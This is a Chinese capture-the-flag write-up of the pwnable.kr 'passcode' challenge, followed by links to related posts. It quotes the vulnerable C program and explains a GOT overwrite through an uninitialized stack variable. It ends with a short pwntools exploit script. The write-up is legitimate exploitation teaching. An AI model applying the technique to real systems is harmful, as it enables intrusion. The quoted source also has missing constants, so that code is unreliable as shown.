pwnable从入门到放弃,第六题。

ssh passcode@pwnable.kr -p2222 (pw:guest)

完全是‘&’的锅。

#include <stdio.h>
#include <stdlib.h> void login(){
int passcode1;
int passcode2; printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); printf("checking...\n");
if(passcode1== && passcode2==){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit();
}
} void welcome(){
char name[];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
} int main(){
printf("Toddler's Secure Login System 1.0 beta.\n"); welcome();
login(); // something after login...
printf("Now I can safely trust you that you have credential :)\n");
return ;
}

查看整个流程的业务逻辑,貌似没有什么问题,按照提示给出的编译时出现了warning,现尝试编译:

发现,是在scanf函数时,缺少了一个&号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。

如何控制passcode?

首先可以看到在welcome函数中有一个name变量,利用scanf进赋值,但这个赋值是安全的,限定了赋值的长度是100个字大小。

并且,通过代码可以看到在执行了welcome函数后立即执行了login函数,中间没有压栈弹栈操作,也没有开alsr等保护,因此二者的ebp是相同的。而name数组长度是100,因此分配的栈块较大,并且passcode没有赋初值,

可以以栈内脏数据的方式时强行赋予passcode初值(传说中的野指针?)。

看一下长度,通过汇编代码看到name变量的起始地址为 EBP-0X70, passcode变量起始地址为EBP-0X10,相差0X60=96,恰巧还有4个字节用于覆盖passcode的值。

再通过输入passcode的值,就可以成功进行DWORD SHOOT。

由于在scanf后立即执行了flush函数,则可以精确覆盖GOT表中flush函数的入口地址,造成强行修改函数逻辑。

通过objdump -R ./passcode命令,可以看到其入口点

在利用gdb 查看system("/bin/cat flag"); 函数的地址,覆盖即可。

使用python pwntools库,可以轻易完成这样的操作。

在操作系统上只有/tmp文件夹是可以写的,因此将写好的脚本放入/tmp下运行即可。

import struct
import pwn
import subprocess addr = 0x0804a004
name = 'P'*96 + pwn.p32(addr) + str(0x80485e3) target = pwn.process('/home/passcode/passcode') #child = subprocess.Popen(args= ['/home/p4nda/Desktop/passcode',str(name)])
target.send(name)
target.interactive()

【pwnable.kr】passcode的更多相关文章

  1. 【pwnable.kr】col

    pwnable从入门到放弃第二题, ssh col@pwnable.kr -p2222 (pw:guest) 同样是登录,然后看到了col.c.col.flag三个文件,读一下col.c #inclu ...

  2. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  3. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  4. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  5. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  6. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

  7. 【pwnable.kr】 codemap

    pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...

  8. 【pwnable.kr】 uaf

    目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...

  9. 【pwnable.kr】input

    这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...

随机推荐

  1. 30 整数中1出现的次数(从1到n整数中1出现的次数)这题很难要多看*

    题目描述 求出1~13的整数中1出现的次数,并算出100~1300的整数中1出现的次数?为此他特别数了一下1~13中包含1的数字有1.10.11.12.13因此共出现6次,但是对于后面问题他就没辙了. ...

  2. java的基本类型和对应的封装类

    封装,是java这门语言的重要核心思想之一,封装也是对面向对象这一思想很好的体现. 在很多情况下,我们需要对数据进行一些转换,如:将一字符串"123"转换成int类型的123,或者 ...

  3. 01.DesignParttern设计模式,简单工厂,工厂方法,抽象工厂三大工厂的区别与联系

                工厂用来生产对象,对象具有方法和属性. 简单工厂的缺点(简单工厂并不是23中设计模式): 工厂类的职责相对过重,增加新的产品,需要修改工厂类的判断逻辑,违背开闭原则: JDK源 ...

  4. Luogu P3263 [JLOI2015]有意义的字符串

    Link 设\(e=\frac{b+\sqrt d}2,i=\frac{b-\sqrt d}2\). 显然\(f_n=e^n+i^n\)是一个整数,且\(f_n=(e+i)f_{n-1}+eif_{n ...

  5. Spring中的BeanPostProcessor和BeanFactoryPostProcessor

    BeanPostProcessor BeanFactoryPostProcessor 标准ioc容器初始化之后的后置处理器 BeanDefintionRegisterPostProcessor 在所有 ...

  6. Codestorm:Game with a Boomerang

    题目连接:https://www.hackerrank.com/contests/codestorm/challenges/game-with-a-boomerang 上一篇博客不知怎么复制过来题目, ...

  7. SQLyog连接报错 Error No.2058 Plugin caching_sha2_password could not be loaded

    参考链接:https://blog.csdn.net/qq_22766431/article/details/80628583 win10系统更新安装Mysql8.0,连接SQLyog的时候出现下面错 ...

  8. win10提示防火墙没有法更改某些设置的处理办法

    一.问题发现 远程链接电脑时间发现远程链接失败 提问在“控制面板” 中打开“程序” 列表中启用“windows 防火墙” . 按照提示启用防火墙 ,发现启用或关闭页面不可编辑 二.原因是防火墙Wind ...

  9. 017.Oracle数据库,取今年第一天,取今年最后一天

    /*取今年第一天,取今年最后一天*/ SELECT trunc(sysdate, 'yyyy') AS 今年第一天 , add_months(trunc(sysdate, ) AS 今年最后一天 FR ...

  10. IIC协议解析

    (1)概述 I2C(Inter-Integrated Circuit BUS) 集成电路总线,该总线由NXP(原PHILIPS)公司设计,多用于主控制器和从器件间的主从通信,在小数据量场合使用,传输距 ...